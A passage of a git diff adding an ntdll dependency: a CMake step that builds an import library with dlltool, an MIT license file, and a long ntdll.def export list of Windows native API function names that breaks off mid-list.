WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# + +execute_process(COMMAND dlltool -d ${CMAKE_CURRENT_SOURCE_DIR}/ntdll.def -l ${CMAKE_BINARY_DIR}/libntdll.a) +add_library(ntdll INTERFACE) +target_include_directories(ntdll INTERFACE ${CMAKE_CURRENT_SOURCE_DIR}) diff --git a/dep/ntdll/LICENSE b/dep/ntdll/LICENSE new file mode 100644 index 0000000..9289af5 --- /dev/null +++ b/dep/ntdll/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2019 Fyyre + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/dep/ntdll/ntdll.def b/dep/ntdll/ntdll.def new file mode 100644 index 0000000..a851ae2 --- /dev/null +++ b/dep/ntdll/ntdll.def @@ -0,0 +1,1234 @@ +LIBRARY ntdll.dll +EXPORTS + LsaLookupOpenLocalPolicy + LsaLookupClose + LsaLookupTranslateSids + LsaLookupTranslateNames + LsaLookupGetDomainInfo + LsaLookupFreeMemory + LsaRegisterLogonProcess + LsaLogonUser + LsaLookupAuthenticationPackage + LsaFreeReturnBuffer + LsaCallAuthenticationPackage + LsaDeregisterLogonProcess + LsaConnectUntrusted + LsaFreeMemory + LsaClose + LsaEnumerateLogonSessions + LsaGetLogonSessionData + LsaOpenPolicy + LsaQueryInformationPolicy + LsaSetInformationPolicy + LsaQueryDomainInformationPolicy + LsaSetDomainInformationPolicy + LsaRegisterPolicyChangeNotification + LsaUnregisterPolicyChangeNotification + LsaEnumerateTrustedDomains + LsaLookupNames + LsaLookupNames2 + LsaLookupSids + LsaEnumerateAccountsWithUserRight + LsaEnumerateAccountRights + LsaAddAccountRights + LsaRemoveAccountRights + LsaOpenTrustedDomainByName + LsaQueryTrustedDomainInfo + LsaSetTrustedDomainInformation + LsaDeleteTrustedDomain + LsaQueryTrustedDomainInfoByName + LsaSetTrustedDomainInfoByName + LsaEnumerateTrustedDomainsEx + LsaCreateTrustedDomainEx + LsaQueryForestTrustInformation + LsaSetForestTrustInformation + LsaStorePrivateData + LsaRetrievePrivateData + LsaNtStatusToWinError + GetKUserSharedData + NtGetTickCount + RtlReleaseMemoryStream + RtlSetMemoryStreamSize + RtlCommitMemoryStream + RtlRevertMemoryStream + RtlCopySecurityDescriptor + RtlInitializeHandleTable + RtlDestroyHandleTable + RtlAllocateHandle + RtlFreeHandle + RtlIsValidHandle + RtlIsValidIndexHandle + RtlCreateAtomTable + RtlDestroyAtomTable + RtlEmptyAtomTable + RtlAddAtomToAtomTable + RtlLookupAtomInAtomTable + RtlDeleteAtomFromAtomTable + RtlPinAtomInAtomTable + RtlQueryAtomInAtomTable + RtlQueryAtomsInAtomTable + RtlGetIntegerAtom + RtlInterlockedPushListSList + RtlAssert + RtlInitializeGenericTableAvl + RtlInsertElementGenericTableAvl + RtlInsertElementGenericTableFullAvl + RtlDeleteElementGenericTableAvl + RtlLookupElementGenericTableAvl + RtlLookupElementGenericTableFullAvl + RtlEnumerateGenericTableAvl + RtlEnumerateGenericTableWithoutSplayingAvl + RtlEnumerateGenericTableLikeADirectory + RtlGetElementGenericTableAvl + RtlNumberGenericTableElementsAvl + RtlIsGenericTableEmptyAvl + RtlSplay + RtlDelete + RtlDeleteNoSplay + RtlSubtreeSuccessor + RtlSubtreePredecessor + RtlRealSuccessor + RtlRealPredecessor + RtlInitializeGenericTable + RtlInsertElementGenericTable + RtlInsertElementGenericTableFull + RtlDeleteElementGenericTable + RtlLookupElementGenericTable + RtlLookupElementGenericTableFull + RtlEnumerateGenericTable + RtlEnumerateGenericTableWithoutSplaying + RtlGetElementGenericTable + RtlNumberGenericTableElements + RtlIsGenericTableEmpty + RtlInitializeHeapManager + RtlCreateHeap + RtlDestroyHeap + RtlAllocateHeap + RtlFreeHeap + RtlSizeHeap + RtlZeroHeap + RtlProtectHeap + RtlGetNtGlobalFlags + RtlGetCallersAddress + RtlWalkFrameChain + RtlLogStackBackTrace + RtlCaptureStackContext + RtlGetNtProductType + RtlFormatCurrentUserKeyPath + RtlOpenCurrentUser + RtlQueryRegistryValues + RtlWriteRegistryValue + RtlDeleteRegistryValue + RtlCreateRegistryKey + RtlCheckRegistryKey + RtlLockHeap + RtlUnlockHeap + RtlReAllocateHeap + RtlGetUserInfoHeap + RtlSetUserValueHeap + RtlSetUserFlagsHeap + RtlCreateTagHeap + RtlQueryTagHeap + RtlExtendHeap + RtlCompactHeap + RtlValidateProcessHeaps + RtlGetProcessHeaps + RtlUsageHeap + RtlWalkHeap + RtlMultipleAllocateHeap + RtlMultipleFreeHeap + RtlDetectHeapLeaks + RtlCreateMemoryZone + RtlDestroyMemoryZone + RtlAllocateMemoryZone + RtlResetMemoryZone + RtlLockMemoryZone + RtlUnlockMemoryZone + RtlCreateMemoryBlockLookaside + RtlDestroyMemoryBlockLookaside + RtlAllocateMemoryBlockLookaside + RtlFreeMemoryBlockLookaside + RtlExtendMemoryBlockLookaside + RtlResetMemoryBlockLookaside + RtlLockMemoryBlockLookaside + RtlUnlockMemoryBlockLookaside + RtlGetCurrentTransaction + RtlSetCurrentTransaction + RtlCreateQueryDebugBuffer + RtlDestroyQueryDebugBuffer + RtlQueryProcessDebugInformation + RtlUniform + RtlComputeImportTableHash + RtlIntegerToChar + RtlIntegerToUnicode + RtlLargeIntegerToChar + RtlLargeIntegerToUnicode + RtlIpv4AddressToStringA + RtlIpv6AddressToStringA + RtlIpv4AddressToStringExA + RtlIpv6AddressToStringExA + RtlIpv4AddressToStringW + RtlIpv6AddressToStringW + RtlIpv4AddressToStringExW + RtlIpv6AddressToStringExW + RtlIpv4StringToAddressA + RtlIpv6StringToAddressA + RtlIpv4StringToAddressExA + RtlIpv6StringToAddressExA + RtlIpv4StringToAddressW + RtlIpv6StringToAddressW + RtlIpv4StringToAddressExW + RtlIpv6StringToAddressExW + RtlIntegerToUnicodeString + RtlInt64ToUnicodeString + RtlUnicodeStringToInteger + RtlInitString + RtlInitAnsiString + RtlInitUnicodeString + RtlInitUnicodeStringEx + RtlInitAnsiStringEx + RtlCreateUnicodeString + RtlEqualDomainName + RtlEqualComputerName + RtlDnsHostNameToComputerName + RtlCreateUnicodeStringFromAsciiz + RtlCopyString + RtlUpperChar + RtlCompareString + RtlEqualString + RtlPrefixString + RtlUpperString + RtlAppendAsciizToString + RtlAppendStringToString + RtlAnsiStringToUnicodeString + RtlAnsiCharToUnicodeChar + RtlUnicodeStringToAnsiString + RtlUpcaseUnicodeStringToAnsiString + RtlOemStringToUnicodeString + RtlUnicodeStringToOemString + RtlUpcaseUnicodeStringToOemString + RtlOemStringToCountedUnicodeString + RtlUnicodeStringToCountedOemString + RtlUpcaseUnicodeStringToCountedOemString + RtlCompareUnicodeString + RtlEqualUnicodeString + RtlHashUnicodeString + RtlValidateUnicodeString + RtlDuplicateUnicodeString + RtlPrefixUnicodeString + RtlUpcaseUnicodeString + RtlFindCharInUnicodeString + RtlCopyUnicodeString + RtlAppendUnicodeStringToString + RtlAppendUnicodeToString + RtlUpcaseUnicodeChar + RtlDowncaseUnicodeChar + RtlFreeUnicodeString + RtlFreeAnsiString + RtlFreeOemString + RtlxUnicodeStringToAnsiSize + RtlxUnicodeStringToOemSize + RtlxAnsiStringToUnicodeSize + RtlxOemStringToUnicodeSize + RtlMultiByteToUnicodeN + RtlMultiByteToUnicodeSize + RtlUnicodeToMultiByteSize + RtlUnicodeToMultiByteN + RtlUpcaseUnicodeToMultiByteN + RtlOemToUnicodeN + RtlUnicodeToOemN + RtlUpcaseUnicodeToOemN + RtlConsoleMultiByteToUnicodeN + RtlIsTextUnicode + RtlStringFromGUID + RtlGUIDFromString + RtlGenerate8dot3Name + RtlIsNameLegalDOS8Dot3 + RtlInitializeContext + RtlRemoteCall + RtlAcquirePebLock + RtlReleasePebLock + RtlAllocateFromPeb + RtlFreeToPeb + RtlSetProcessIsCritical + RtlSetThreadIsCritical + RtlCreateEnvironment + RtlDestroyEnvironment + RtlSetCurrentEnvironment + RtlSetEnvironmentVariable + RtlIsDosDeviceName_U + RtlQueryEnvironmentVariable_U + RtlExpandEnvironmentStrings_U + PfxInitialize + PfxInsertPrefix + PfxRemovePrefix + PfxFindPrefix + RtlInitializeUnicodePrefix + RtlInsertUnicodePrefix + RtlRemoveUnicodePrefix + RtlFindUnicodePrefix + RtlNextUnicodePrefix + RtlGetCompressionWorkSpaceSize + RtlCompressBuffer + RtlDecompressBuffer + RtlDecompressFragment + RtlDescribeChunk + RtlReserveChunk + RtlDecompressChunks + RtlCompressChunks + RtlCreateProcessParameters + RtlDestroyProcessParameters + RtlNormalizeProcessParams + RtlDeNormalizeProcessParams + RtlCreateUserProcess + RtlCreateUserThread + RtlExitUserThread + RtlFreeUserThreadStack + RtlImageNtHeaderEx + RtlImageNtHeader + RtlAddressInSectionTable + RtlSectionTableFromVirtualAddress + RtlImageDirectoryEntryToData + RtlImageDirectoryEntryToData32 + RtlImageRvaToSection + RtlImageRvaToVa + RtlCopyMemoryNonTemporal + RtlPrefetchMemoryNonTemporal + RtlCompareMemoryUlong + RtlFillMemoryUlong + RtlFillMemoryUlonglong + RtlInitializeExceptionLog + RtlUnhandledExceptionFilter + RtlUnhandledExceptionFilter2 + DbgUserBreakPoint + DbgBreakPointWithStatus + DbgPrintEx + vDbgPrintEx + vDbgPrintExWithPrefix + DbgPrintReturnControlC + DbgQueryDebugFilterState + DbgSetDebugFilterState + DbgPrompt + DbgLoadImageSymbols + DbgUnLoadImageSymbols + DbgCommandString + RtlCutoverTimeToSystemTime + RtlSystemTimeToLocalTime + RtlLocalTimeToSystemTime + RtlTimeToElapsedTimeFields + RtlTimeToTimeFields + RtlTimeFieldsToTime + RtlTimeToSecondsSince1980 + RtlSecondsSince1980ToTime + RtlTimeToSecondsSince1970 + RtlSecondsSince1970ToTime + RtlQueryTimeZoneInformation + RtlSetTimeZoneInformation + RtlSetActiveTimeBias + RtlInitializeBitMap + RtlClearBit + RtlSetBit + RtlTestBit + RtlClearAllBits + RtlSetAllBits + RtlFindClearBits + RtlFindSetBits + RtlFindClearBitsAndSet + RtlFindSetBitsAndClear + RtlClearBits + RtlSetBits + RtlFindClearRuns + RtlFindLongestRunClear + RtlFindFirstRunClear + RtlNumberOfClearBits + RtlNumberOfSetBits + RtlAreBitsClear + RtlAreBitsSet + RtlFindNextForwardRunClear + RtlFindLastBackwardRunClear + RtlFindLeastSignificantBit + RtlFindMostSignificantBit + RtlValidSid + RtlEqualSid + RtlEqualPrefixSid + RtlLengthRequiredSid + RtlFreeSid + RtlInitializeSid + RtlAllocateAndInitializeSid + RtlIdentifierAuthoritySid + RtlSubAuthoritySid + RtlSubAuthorityCountSid + RtlLengthSid + RtlCopySid + RtlCopySidAndAttributesArray + RtlLengthSidAsUnicodeString + RtlConvertSidToUnicodeString + RtlCopyLuid + RtlCopyLuidAndAttributesArray + RtlAreAllAccessesGranted + RtlAreAnyAccessesGranted + RtlMapGenericMask + RtlCreateAcl + RtlValidAcl + RtlQueryInformationAcl + RtlSetInformationAcl + RtlAddAce + RtlDeleteAce + RtlGetAce + RtlSetOwnerSecurityDescriptor + RtlGetOwnerSecurityDescriptor + RtlAddAccessAllowedAce + RtlAddAccessAllowedAceEx + RtlAddAccessDeniedAce + RtlAddAccessDeniedAceEx + RtlAddAuditAccessAce + RtlAddAuditAccessAceEx + RtlAddAccessAllowedObjectAce + RtlAddAccessDeniedObjectAce + RtlAddAuditAccessObjectAce + RtlFirstFreeAce + RtlAddCompoundAce + RtlCreateSecurityDescriptor + RtlCreateSecurityDescriptorRelative + RtlValidSecurityDescriptor + RtlLengthSecurityDescriptor + RtlValidRelativeSecurityDescriptor + RtlGetControlSecurityDescriptor + RtlSetControlSecurityDescriptor + RtlSetAttributesSecurityDescriptor + RtlSetDaclSecurityDescriptor + RtlGetDaclSecurityDescriptor + RtlGetSecurityDescriptorRMControl + RtlSetSecurityDescriptorRMControl + RtlSetSaclSecurityDescriptor + RtlGetSaclSecurityDescriptor + RtlSetGroupSecurityDescriptor + RtlGetGroupSecurityDescriptor + RtlMakeSelfRelativeSD + RtlAbsoluteToSelfRelativeSD + RtlSelfRelativeToAbsoluteSD + RtlSelfRelativeToAbsoluteSD2 + RtlNewSecurityGrantedAccess + RtlMapSecurityErrorToNtStatus + RtlImpersonateSelf + RtlAdjustPrivilege + RtlAcquirePrivilege + RtlReleasePrivilege + RtlRunEncodeUnicodeString + RtlRunDecodeUnicodeString + RtlEraseUnicodeString + RtlFindMessage + RtlFormatMessage + RtlFormatMessageEx + RtlInitializeRXact + RtlStartRXact + RtlAbortRXact + RtlAddAttributeActionToRXact + RtlAddActionToRXact + RtlApplyRXact + RtlApplyRXactNoFlush + RtlNtStatusToDosError + RtlNtStatusToDosErrorNoTeb + RtlGetCurrentPeb + RtlCustomCPToUnicodeN + RtlUnicodeToCustomCPN + RtlUpcaseUnicodeToCustomCPN + RtlInitCodePageTable + RtlInitNlsTables + RtlResetRtlTranslations + RtlGetDefaultCodePage + RtlInitializeRangeList + RtlFreeRangeList + RtlCopyRangeList + RtlAddRange + RtlDeleteRange + RtlDeleteOwnersRanges + RtlFindRange + RtlIsRangeAvailable + RtlGetFirstRange + RtlGetLastRange + RtlGetNextRange + RtlMergeRangeLists + RtlInvertRangeList + RtlVolumeDeviceToDosName + RtlCreateSystemVolumeInformationFolder + RtlGetVersion + RtlVerifyVersionInfo + RtlFlushSecureMemoryCache + RtlGetLastWin32Error + RtlSetLastWin32ErrorAndNtStatusFromNtStatus + RtlSetLastWin32Error + RtlRestoreLastWin32Error + RtlGetSetBootStatusData + RtlLockBootStatusData + RtlUnlockBootStatusData + RtlCreateBootStatusDataFile + NtDelayExecution + NtQuerySystemEnvironmentValue + NtSetSystemEnvironmentValue + NtQuerySystemEnvironmentValueEx + NtSetSystemEnvironmentValueEx + NtEnumerateSystemEnvironmentValuesEx + NtAddBootEntry + NtDeleteBootEntry + NtModifyBootEntry + NtEnumerateBootEntries + NtQueryBootEntryOrder + NtSetBootEntryOrder + NtQueryBootOptions + NtSetBootOptions + NtTranslateFilePath + NtAddDriverEntry + NtDeleteDriverEntry + NtModifyDriverEntry + NtEnumerateDriverEntries + NtQueryDriverEntryOrder + NtSetDriverEntryOrder + NtClearEvent + NtCreateEvent + NtOpenEvent + NtPulseEvent + NtQueryEvent + NtResetEvent + NtSetEvent + NtSetEventBoostPriority + NtCreateEventPair + NtOpenEventPair + NtWaitLowEventPair + NtWaitHighEventPair + NtSetLowWaitHighEventPair + NtSetHighWaitLowEventPair + NtSetLowEventPair + NtSetHighEventPair + NtCreateMutant + NtOpenMutant + NtQueryMutant + NtReleaseMutant + NtCreateSemaphore + NtOpenSemaphore + NtQuerySemaphore + NtReleaseSemaphore + NtCreateTimer + NtOpenTimer + NtCancelTimer + NtQueryTimer + NtSetTimer + NtQuerySystemTime + NtSetSystemTime + NtQueryTimerResolution + NtSetTimerResolution + NtAllocateLocallyUniqueId + NtSetUuidSeed + NtAllocateUuids + NtCreateProfile + NtStartProfile + NtStopProfile + NtSetIntervalProfile + NtQueryIntervalProfile + NtQueryPerformanceCounter + NtCreateKeyedEvent + NtOpenKeyedEvent + NtReleaseKeyedEvent + NtWaitForKeyedEvent + NtQuerySystemInformation + NtSetSystemInformation + NtSystemDebugControl + NtRaiseHardError + NtQueryDefaultLocale + NtSetDefaultLocale + NtQueryInstallUILanguage + NtQueryDefaultUILanguage + NtSetDefaultUILanguage + NtSetDefaultHardErrorPort + NtShutdownSystem + NtDisplayString + NtAddAtom + NtFindAtom + NtDeleteAtom + NtQueryInformationAtom + NtCancelIoFile + NtCreateNamedPipeFile + NtCreateMailslotFile + NtDeleteFile + NtFlushBuffersFile + NtNotifyChangeDirectoryFile + NtQueryAttributesFile + NtQueryFullAttributesFile + NtQueryEaFile + NtCreateFile + NtDeviceIoControlFile + NtFsControlFile + NtLockFile + NtOpenFile + NtQueryDirectoryFile + NtQueryInformationFile + NtQueryQuotaInformationFile + NtQueryVolumeInformationFile + NtReadFile + NtSetInformationFile + NtSetQuotaInformationFile + NtSetVolumeInformationFile + NtWriteFile + NtUnlockFile + NtReadFileScatter + NtSetEaFile + NtWriteFileGather + NtLoadDriver + NtUnloadDriver + NtCreateIoCompletion + NtOpenIoCompletion + NtQueryIoCompletion + NtSetIoCompletion + NtRemoveIoCompletion + NtCallbackReturn + NtQueryDebugFilterState + NtSetDebugFilterState + NtYieldExecution + NtCreatePort + NtCreateWaitablePort + NtConnectPort + NtSecureConnectPort + NtListenPort + NtAcceptConnectPort + NtCompleteConnectPort + NtRequestPort + NtRequestWaitReplyPort + NtReplyPort + NtReplyWaitReplyPort + NtReplyWaitReceivePort + NtReplyWaitReceivePortEx + NtImpersonateClientOfPort + NtReadRequestData + NtWriteRequestData + NtQueryInformationPort + NtCreateSection + NtOpenSection + NtMapViewOfSection + NtUnmapViewOfSection + NtExtendSection + NtAreMappedFilesTheSame + NtAllocateVirtualMemory + NtFreeVirtualMemory + NtReadVirtualMemory + NtWriteVirtualMemory + NtFlushVirtualMemory + NtLockVirtualMemory + NtUnlockVirtualMemory + NtProtectVirtualMemory + NtQueryVirtualMemory + NtQuerySection + NtMapUserPhysicalPages + NtMapUserPhysicalPagesScatter + NtAllocateUserPhysicalPages + NtFreeUserPhysicalPages + NtGetWriteWatch + NtResetWriteWatch + NtCreatePagingFile + NtFlushInstructionCache + NtFlushWriteBuffer + NtQueryObject + NtSetInformationObject + NtDuplicateObject + NtMakeTemporaryObject + NtMakePermanentObject + NtSignalAndWaitForSingleObject + NtWaitForSingleObject + NtWaitForMultipleObjects + NtWaitForMultipleObjects32 + NtSetSecurityObject + NtQuerySecurityObject + NtClose + NtCreateDirectoryObject + NtOpenDirectoryObject + NtQueryDirectoryObject + NtCreateSymbolicLinkObject + NtOpenSymbolicLinkObject + NtQuerySymbolicLinkObject + NtGetPlugPlayEvent + NtPlugPlayControl + NtPowerInformation + NtSetThreadExecutionState + NtRequestWakeupLatency + NtCancelDeviceWakeupRequest + NtRequestDeviceWakeup + NtCreateProcess + NtCreateProcessEx + NtOpenProcess + NtTerminateProcess + NtQueryInformationProcess + NtGetNextProcess + NtGetNextThread + NtQueryPortInformationProcess + NtSetInformationProcess + NtCreateThread + NtOpenThread + NtTerminateThread + NtSuspendThread + NtResumeThread + NtSuspendProcess + NtResumeProcess + NtGetContextThread + NtSetContextThread + NtQueryInformationThread + NtSetInformationThread + NtAlertThread + NtAlertResumeThread + NtImpersonateThread + NtTestAlert + NtRegisterThreadTerminatePort + NtSetLdtEntries + NtQueueApcThread + NtCreateJobObject + NtOpenJobObject + NtAssignProcessToJobObject + NtTerminateJobObject + NtIsProcessInJob + NtCreateJobSet + NtQueryInformationJobObject + NtSetInformationJobObject + NtCreateKey + NtDeleteKey + NtDeleteValueKey + NtEnumerateKey + NtEnumerateValueKey + NtFlushKey + NtInitializeRegistry + NtNotifyChangeKey + NtNotifyChangeMultipleKeys + NtLoadKey + NtLoadKey2 + NtLoadKeyEx + NtOpenKey + NtQueryKey + NtQueryValueKey + NtQueryMultipleValueKey + NtReplaceKey + NtRenameKey + NtCompactKeys + NtCompressKey + NtRestoreKey + NtSaveKey + NtSaveKeyEx + NtSaveMergedKeys + NtSetValueKey + NtUnloadKey + NtUnloadKey2 + NtUnloadKeyEx + NtSetInformationKey + NtQueryOpenSubKeys + NtQueryOpenSubKeysEx + NtLockRegistryKey + NtLockProductActivationKeys + NtAccessCheck + NtAccessCheckByType + NtAccessCheckByTypeResultList + NtCreateToken + NtCompareTokens + NtOpenThreadToken + NtOpenThreadTokenEx + NtOpenProcessToken + NtOpenProcessTokenEx + NtDuplicateToken + NtFilterToken + NtImpersonateAnonymousToken + NtQueryInformationToken + NtSetInformationToken + NtAdjustPrivilegesToken + NtAdjustGroupsToken + NtPrivilegeCheck + NtAccessCheckAndAuditAlarm + NtAccessCheckByTypeAndAuditAlarm + NtAccessCheckByTypeResultListAndAuditAlarm + NtAccessCheckByTypeResultListAndAuditAlarmByHandle + NtOpenObjectAuditAlarm + NtPrivilegeObjectAuditAlarm + NtCloseObjectAuditAlarm + NtDeleteObjectAuditAlarm + NtPrivilegedServiceAuditAlarm + NtContinue + NtRaiseException + ZwDelayExecution + ZwQuerySystemEnvironmentValue + ZwSetSystemEnvironmentValue + ZwQuerySystemEnvironmentValueEx + ZwSetSystemEnvironmentValueEx + ZwEnumerateSystemEnvironmentValuesEx + ZwAddBootEntry + ZwDeleteBootEntry + ZwModifyBootEntry + ZwEnumerateBootEntries + ZwQueryBootEntryOrder + ZwSetBootEntryOrder + ZwQueryBootOptions + ZwSetBootOptions + ZwTranslateFilePath + ZwAddDriverEntry + ZwDeleteDriverEntry + ZwModifyDriverEntry + ZwEnumerateDriverEntries + ZwQueryDriverEntryOrder + ZwSetDriverEntryOrder + ZwClearEvent + ZwCreateEvent + ZwOpenEvent + ZwPulseEvent + ZwQueryEvent + ZwResetEvent + ZwSetEvent + ZwSetEventBoostPriority + ZwCreateEventPair + ZwOpenEventPair + ZwWaitLowEventPair + ZwWaitHighEventPair + ZwSetLowWaitHighEventPair + ZwSetHighWaitLowEventPair + ZwSetLowEventPair + ZwSetHighEventPair + ZwCreateMutant + ZwOpenMutant + ZwQueryMutant + ZwReleaseMutant + ZwCreateSemaphore + ZwOpenSemaphore + ZwQuerySemaphore + ZwReleaseSemaphore + ZwCreateTimer + ZwOpenTimer + ZwCancelTimer + ZwQueryTimer + ZwSetTimer + ZwQuerySystemTime + ZwSetSystemTime + ZwQueryTimerResolution + ZwSetTimerResolution + ZwAllocateLocallyUniqueId + ZwSetUuidSeed + ZwAllocateUuids + ZwCreateProfile + ZwStartProfile + ZwStopProfile + ZwSetIntervalProfile + ZwQueryIntervalProfile + ZwQueryPerformanceCounter + ZwCreateKeyedEvent + ZwOpenKeyedEvent + ZwReleaseKeyedEvent + ZwWaitForKeyedEvent + ZwQuerySystemInformation + ZwSetSystemInformation + ZwSystemDebugControl + ZwRaiseHardError + ZwQueryDefaultLocale + ZwSetDefaultLocale + ZwQueryInstallUILanguage + ZwQueryDefaultUILanguage + ZwSetDefaultUILanguage + ZwSetDefaultHardErrorPort + ZwShutdownSystem + ZwDisplayString + ZwAddAtom + ZwFindAtom + ZwDeleteAtom + ZwQueryInformationAtom + ZwCancelIoFile + ZwCreateNamedPipeFile + ZwCreateMailslotFile + ZwDeleteFile + ZwFlushBuffersFile + ZwNotifyChangeDirectoryFile + ZwQueryAttributesFile + ZwQueryFullAttributesFile + ZwQueryEaFile + ZwCreateFile + ZwDeviceIoControlFile + ZwFsControlFile + ZwLockFile + ZwOpenFile + ZwQueryDirectoryFile + ZwQueryInformationFile + ZwQueryQuotaInformationFile + ZwQueryVolumeInformationFile + ZwReadFile + ZwSetInformationFile + ZwSetQuotaInformationFile + ZwSetVolumeInformationFile + ZwWriteFile + ZwUnlockFile + ZwReadFileScatter + ZwSetEaFile + ZwWriteFileGather + ZwLoadDriver + ZwUnloadDriver + ZwCreateIoCompletion + ZwOpenIoCompletion + ZwQueryIoCompletion + ZwSetIoCompletion + ZwRemoveIoCompletion + ZwCallbackReturn + ZwQueryDebugFilterState + ZwSetDebugFilterState + ZwYieldExecution + ZwCreatePort + ZwCreateWaitablePort + ZwConnectPort + ZwSecureConnectPort + ZwListenPort + ZwAcceptConnectPort + ZwCompleteConnectPort + ZwRequestPort + ZwRequestWaitReplyPort + ZwReplyPort + ZwReplyWaitReplyPort + ZwReplyWaitReceivePort + ZwReplyWaitReceivePortEx + ZwImpersonateClientOfPort + ZwReadRequestData + ZwWriteRequestData + ZwQueryInformationPort + ZwCreateSection + ZwOpenSection + ZwMapViewOfSection + ZwUnmapViewOfSection + ZwExtendSection + ZwAreMappedFilesTheSame + ZwAllocateVirtualMemory + ZwFreeVirtualMemory + ZwReadVirtualMemory + ZwWriteVirtualMemory + ZwFlushVirtualMemory + ZwLockVirtualMemory + ZwUnlockVirtualMemory + ZwProtectVirtualMemory + ZwQueryVirtualMemory + ZwQuerySection + ZwMapUserPhysicalPages + ZwMapUserPhysicalPagesScatter + ZwAllocateUserPhysicalPages + ZwFreeUserPhysicalPages + ZwGetWriteWatch + ZwResetWriteWatch + ZwCreatePagingFile + ZwFlushInstructionCache + ZwFlushWriteBuffer + ZwQueryObject + ZwSetInformationObject + ZwDuplicateObject + ZwMakeTemporaryObject + ZwMakePermanentObject + ZwSignalAndWaitForSingleObject + ZwWaitForSingleObject + ZwWaitForMultipleObjects + ZwWaitForMultipleObjects32 + ZwSetSecurityObject + ZwQuerySecurityObject + ZwClose + ZwCreateDirectoryObject + ZwOpenDirectoryObject + ZwQueryDirectoryObject + ZwCreateSymbolicLinkObject + ZwOpenSymbolicLinkObject + ZwQuerySymbolicLinkObject + ZwGetPlugPlayEvent + ZwPlugPlayControl + ZwPowerInformation + ZwSetThreadExecutionState + ZwRequestWakeupLatency + ZwCancelDeviceWakeupRequest + ZwRequestDeviceWakeup + ZwCreateProcess + ZwCreateProcessEx + ZwOpenProcess + ZwTerminateProcess + ZwQueryInformationProcess + ZwGetNextProcess + ZwGetNextThread + ZwQueryPortInformationProcess + ZwSetInformationProcess + ZwCreateThread + ZwOpenThread + ZwTerminateThread + ZwSuspendThread + ZwResumeThread + ZwSuspendProcess + ZwResumeProcess + ZwGetContextThread + ZwSetContextThread + ZwQueryInformationThread + ZwSetInformationThread + ZwAlertThread + ZwAlertResumeThread + ZwImpersonateThread + ZwTestAlert + ZwRegisterThreadTerminatePort + ZwSetLdtEntries + ZwQueueApcThread + ZwCreateJobObject + ZwOpenJobObject + ZwAssignProcessToJobObject + ZwTerminateJobObject + ZwIsProcessInJob + ZwCreateJobSet + ZwQueryInformationJobObject + ZwSetInformationJobObject + ZwCreateKey + ZwDeleteKey + ZwDeleteValueKey + ZwEnumerateKey + ZwEnumerateValueKey + ZwFlushKey + ZwInitializeRegistry + ZwNotifyChangeKey + ZwNotifyChangeMultipleKeys + ZwLoadKey + ZwLoadKey2 + ZwLoadKeyEx + ZwOpenKey + ZwQueryKey + ZwQueryValueKey + ZwQueryMultipleValueKey + ZwReplaceKey + ZwRenameKey + ZwCompactKeys + ZwCompressKey + ZwRestoreKey + ZwSaveKey + ZwSaveKeyEx + ZwSaveMergedKeys + ZwSetValueKey + ZwUnloadKey + ZwUnloadKey2 + ZwUnloadKeyEx + ZwSetInformationKey + ZwQueryOpenSubKeys + ZwQueryOpenSubKeysEx + ZwLockRegistryKey + ZwLockProductActivationKeys + ZwAccessCheck + ZwAccessCheckByType + ZwAccessCheckByTypeResultList + ZwCreateToken + ZwCompareTokens + ZwOpenThreadToken + ZwOpenThreadTokenEx + ZwOpenProcessToken + ZwOpenProcessTokenEx + ZwDuplicateToken + ZwFilterToken + ZwImpersonateAnonymousToken + ZwQueryInformationToken + ZwSetInformationToken + ZwAdjustPrivilegesToken + ZwAdjustGroupsToken + ZwPrivilegeCheck + ZwAccessCheckAndAuditAlarm + ZwAccessCheckByTypeAndAuditAlarm + ZwAccessCheckByTypeResultListAndAuditAlarm + ZwAccessCheckByTypeResultListAndAuditAlarmByHandle + ZwOpenObjectAuditAlarm + ZwPrivilegeObjectAuditAlarm + ZwCloseObjectAuditAlarm + ZwDeleteObjectAuditAlarm + ZwPrivilegedServiceAuditAlarm + ZwContinue + ZwRaiseException + DbgPrint + DebugService2 + RtlLargeIntegerAdd + RtlEnlargedIntegerMultiply + RtlEnlargedUnsignedMultiply + RtlEnlargedUnsignedDivide + RtlLargeIntegerNegate + RtlLargeIntegerSubtract + RtlExtendedMagicDivide + RtlExtendedLargeIntegerDivide + RtlLargeIntegerDivide + RtlExtendedIntegerMultiply + RtlConvertLongToLargeInteger + RtlConvertUlongToLargeInteger + RtlLargeIntegerShiftLeft + RtlLargeIntegerShiftRight + RtlLargeIntegerArithmeticShift + RtlCheckBit + RtlIsValidOemCharacter + RtlpImageNtHeader + RtlDetermineDosPathNameType_U + RtlTraceDatabaseCreate + RtlTraceDatabaseValidate + RtlTraceDatabaseAdd + RtlTraceDatabaseFind + RtlTraceDatabaseEnumerate + RtlTraceDatabaseLock + RtlTraceDatabaseUnlock + RtlpGetStackLimits + RtlEnterCriticalSection + RtlLeaveCriticalSection + RtlIsCriticalSectionLocked + RtlIsCriticalSectionLockedByThread + 